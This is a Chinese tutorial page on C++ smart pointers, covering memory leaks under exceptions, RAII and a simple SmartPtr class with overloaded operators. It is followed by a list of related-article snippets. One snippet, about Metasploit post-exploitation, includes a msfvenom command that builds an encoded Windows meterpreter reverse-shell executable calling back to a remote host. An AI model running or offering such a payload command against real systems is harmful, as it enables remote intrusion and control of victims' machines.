c++ - 第21节 - 智能指针

news2024/11/15 20:45:00

1.为什么需要智能指针

分析一下下面这段程序有没有什么内存方面的问题?
前面在异常的博客中,我们分析了下图一的代码Func函数中如果 div ()函数抛异常则程序会直接跳到主函数的catch捕获程序部分,然后接着主函数catch捕获程序部分往后执行代码,那么Func函数中 new的空间没有执行后面的delete释放空间代码会造成内存泄漏。
因此在异常的博客中我们的处理办法是在Func函数中增加try catch捕获拦截异常,将 delete释放空间操作处理完之后再把异常抛出去,如下图二所示。

在异常的博客中new开辟一次空间上图二所示的方式是可以的,但上图二所示的代码两次new开辟空间,如果第二次new开辟空间开辟失败抛了异常,例如上面代码int* p2 = new int开辟失败报异常会直接跳到主函数的catch捕获程序部分,然后接着主函数catch捕获程序部分往后执行代码,那么Func函数中代码int* p2 = new int往后的代码都没有运行,因此第一次new开辟空间后也没有delete释放空间,会造成内存泄漏。

那么如何解决上面的问题呢?c++提出了智能指针的解决方案。


2.智能指针的使用及原理

2.1.RAII

RAII(Resource Acquisition Is Initialization)是一种利用对象生命周期来控制程序资源(如内存、文件句柄、网络连接、互斥量等等)的简单技术。
在对象构造时获取资源,接着控制对资源的访问使之在对象的生命周期内始终保持有效,最后在对象析构的时候释放资源。借此,我们实际上把管理一份资源的责任托管给了一个对象。这种做法有两大好处:
\bullet 不需要显式地释放资源。
\bullet 采用这种方式,对象所需的资源在其生命期内始终保持有效。
注:RAII技术是智能指针实现的指导思想。
如下图所示,我们使用智能指针类来解决本博客第一节的问题,这样即使Func函数中第二次new开辟空间失败即SmartPtr<int> sp2(new int)中new int开辟空间失败抛异常, 程序会直接跳到主函数的catch捕获程序部分,然后接着主函数catch捕获程序部分往后执行代码,此时Func函数栈帧已经销毁,sp1智能指针通过系统自动调用智能指针类的析构函数将sp1智能指针指向的空间进行了释放,解决了内存泄漏的问题。
// 使用RAII思想设计的SmartPtr类
template<class T>
class SmartPtr {
public:
	SmartPtr(T* ptr = nullptr)
		: _ptr(ptr)
	{}
	~SmartPtr()
	{
		if (_ptr)
			delete _ptr;
	}

private:
	T* _ptr;
};
int div()
{
	int a, b;
	cin >> a >> b;
	if (b == 0)
		throw invalid_argument("除0错误");
	return a / b;
}
void Func()
{
	//使用方法一
	int* p1 = new int;
	SmartPtr<int> sp1(p1);
	//使用方法二
	SmartPtr<int> sp2(new int);

	cout << div() << endl;
}
int main()
{
	try {
		Func();
	}
	catch (const exception& e)
	{
		cout << e.what() << endl;
	}
	return 0;
}

2.2.智能指针的原理

上述的SmartPtr还不能将其称为智能指针,因为它还不具有指针的行为。指针可以解引用,也可以通过->去访问所指空间中的内容,因此AutoPtr模板类中还得需要将operator*函数和operator->函数重载一下,才可让其像指针一样去使用。
template<class T>
class SmartPtr 
{
public:
	SmartPtr(T* ptr = nullptr)
		: _ptr(ptr)
	{}
	~SmartPtr()
	{
		if (_ptr)
			delete _ptr;
	}
	T& operator*() 
	{
		return *_ptr; 
	}
	T* operator->() 
	{ 
		return _ptr; 
	}
private:
	T* _ptr;
};
struct Date
{
	int _year;
	int _month;
	int _day;
};
int main()
{
	SmartPtr<int> sp1(new int);
	*sp1 = 10;
	cout << *sp1 << endl;

	SmartPtr<Date> sparray(new Date);
	// 需要注意的是这里应该是sparray.operator->()->_year = 2018;
	// 本来应该是sparray->->_year这里语法上为了可读性,省略了一个->
	sparray->_year = 2023;
	sparray->_month = 1;
	sparray->_day = 1;
}
总结一下智能指针的原理:
1. RAII特性.
2. 重载operator*和opertaor->,具有像指针一样的行为。

2.3.std::auto_ptr

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/151021.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【IOS的safari浏览器】uniapp的H5项目 safari<添加到主屏幕>功能的实现(多页面、单页面)

uniapp的H5项目safari <添加到主屏幕>功能的实现ios添加到主屏幕的需求具体效果实现前提完整的HTML页面如何判断应用是从主屏幕打开还是从浏览器打开特殊情况ios添加到主屏幕的需求 添加到主屏幕——这个功能属于ios的safari浏览器的特性之一&#xff0c;他可以让我们的…

Java环境安装、替换jdk后java编译javac无反应,但java和java -version可以成功:实操解决方案

这里写自定义目录标题问题背景方案一方案二方案三问题背景 最近换了新电脑&#xff0c;安装java环境&#xff0c;一次性下载了3个jdk版本&#xff0c;在配置后返现 cmd命令行下javac编译java文件不成功&#xff0c;但是输入java和java -version没问题 在CSDN看了许多解决方案…

linux安装go

下载地址 https://studygolang.com/dl?id2&id15&id0&id8&adinfo678baidu&adinfo678baidu%3Epage%3E go语言中文网 解压 tar -xvf go1.19.4.linux-amd64.tar.gz 解压之后在 root目录下面 有个 go的文件夹 vim ~/.bashrc 配置环境变量 export GOROOT/roo…

【Dash搭建可视化网站】项目10:疫情数据可视化大屏制作步骤详解

疫情数据可视化大屏制作步骤详解1 项目效果图2 项目架构3 文件介绍和功能完善3.1 assets文件夹介绍3.2 app.py和index.py文件完善3.3 header.py文件完善3.4 cards.py文件完善3.5 api.py和api.ipynb文件完善3.5.1 数据获取3.5.2 数据处理3.5.3 接口数据导入header.py和cards.py文…

SpringMVC基本使用

SpringMVC基本使用1、回顾MVC1.1、什么是MVC1.2、Model1时代1.3、Model2时代1.4、回顾Servlet2、什么是SpringMVC2.1、概述2.2、中心控制器2.3、SpringMVC执行原理3、HelloSpring3.1、配置版3.2、注解版3.3、小结4、Controller 及 RestFul4.1、控制器Controller4.2、实现Contro…

【笔记:第一课】学习开发一个RISC-V上的操作系统 - 汪辰 - 2021春

文章目录前言来源正文小结前言 创作开始时间&#xff1a;2023年1月9日20:02:19 如题&#xff0c;学习一下RISC-V。 来源 https://www.bilibili.com/video/BV1Q5411w7z5/ 正文 打好基础&#xff01;好好学习 本课程目的&#xff1a; 了解 RISC-V 的相关知识学会查看RISC-…

week10

T1 Einstein学画画 题目描述 Einstein 学起了画画。 此人比较懒~~&#xff0c;他希望用最少的笔画画出一张画…… 给定一个无向图&#xff0c;包含 nnn 个顶点&#xff08;编号 1∼n1 \sim n1∼n&#xff09;&#xff0c;mmm 条边&#xff0c;求最少用多少笔可以画出图中所…

解决RuntimeError: CUDA error: out of memory

注意&#xff1a;报错内容只有这一行&#xff0c;RuntimeError: CUDA error: out of memory&#xff0c;没有后面的内存分析。 因为报错的时候忘记截图了&#xff0c;修改好了才来记录的。这里引用别的博主的图片。图片来源 1&#xff1a;刚开始我怀疑是batchsize设的太大了&a…

vue01-基础

一、vue简介 1.1 描述 一套用于构建用户界面的渐进式JavaScript框架 构建用户界面&#xff1a;把数据处理成界面 渐进式&#xff1a;可以从简单应用引入的轻量小巧核心库&#xff0c;扩展至各式vue插件 1.2 特点 1.组件化模式&#xff0c;提高代码复用率且便于维护&#…

【自学Python】Python整型(int)

Python整型(int) Python整型(int)教程 Python 整型专门用来表示整数。 Python 整型支持四种形式&#xff0c;即十进制形式、二进制形式、八进制形式和十六进制形式。 Python整型(int) 十进制形式 Python 最常见的整数就是十进制形式的整数。在使用十进制表示整数值时&…

虚拟化技术学习笔记7

1、KVM虚拟机CPU热添加&#xff1a; # 能够了解虚拟机添加CPU的作用及预准备 # 能够通过virt-manager为虚拟机添加CPU # 能够通过virsh命令为虚拟机添加CPU CPU热添加&#xff0c;不需要重新启动虚拟机。这个是CPU的热添加。 virsh list virsh dominfo centos7-1lscpuvish s…

软件测试中的网络问题

1.背景 在测试过程中&#xff0c;出现的问题&#xff0c;除了代码问题&#xff0c;还有很多的网络问题&#xff0c;所以需要了解网络知识&#xff0c;这样能发现网络问题&#xff0c;尽快解决就能提高效率。 2.计算机网络体系结构 OSI七层模型&#xff1a;物理层&#xff0c…

【链表】leetcode24. 两两交换链表中的节点(C/C++/Java/Js)

leetcode24. 两两交换链表中的节点1 题目2 思路3 代码3.1 C版本&#xff08;递归迭代&#xff09;3.2 C版本&#xff08;递归迭代&#xff09;3.3 Java版本&#xff08;递归迭代&#xff09;3.4 JavaScript版本4 总结1 题目 题源链接 给你一个链表&#xff0c;两两交换其中相…

Deep Learning for Image Super-resolution:A Survey

Abstract图像超分辨率技术是计算机视觉中提高图像和视频分辨率的一类重要的图像处理技术。近年来&#xff0c;深度学习技术在图像超分辨率方面取得了显著进展。本文旨在对基于深度学习的图像超分辨率研究进展进行综述。一般而言&#xff0c;我们可以将现有的SR技术研究大致分为…

C++设计模式:原型模式(详解+实现案例)

文章目录原型模式使用场景实现步骤案例一案例二优缺点原型模式 原型模式&#xff1a; 用原型实例指定创建对象的种类&#xff0c;并通过拷贝这些原型创建新的对象&#xff0c;简单理解就是“克隆指定对象” 使用场景 某些结构复杂的对象的创建工作中由于需求的变化&#xff…

QT之OpenGL光照

QT之OpenGL光照1. 冯氏光照模型概述1.1 环境光照1.2 漫反射光照1.2.1 法向量1.3 镜面光照1.4 冯氏光照公式1.5 着色器demo2. 材质2.1 demo3. 光照贴图3.1 demo4. 投光物4.1 平行光4.1.1 平行光Demo4.2 点光源4.2.1 衰减4.2.1 点光源Demo4.3 聚光4.3.1 聚光Demo4.3.2 平滑/软化边…

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是&#xff1a;请求报文 3.服务器响应 必须是&#xff1a;响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 &#xff1a; 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件&#xff0c;DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构&#xff0c;加上防倒充电路&#xff0c;所以不需要外…

Msf后渗透测试阶段

● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标&#xff1a; 1、首先对每个路由器进行接口ip的配置 r1&#xff1a; [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…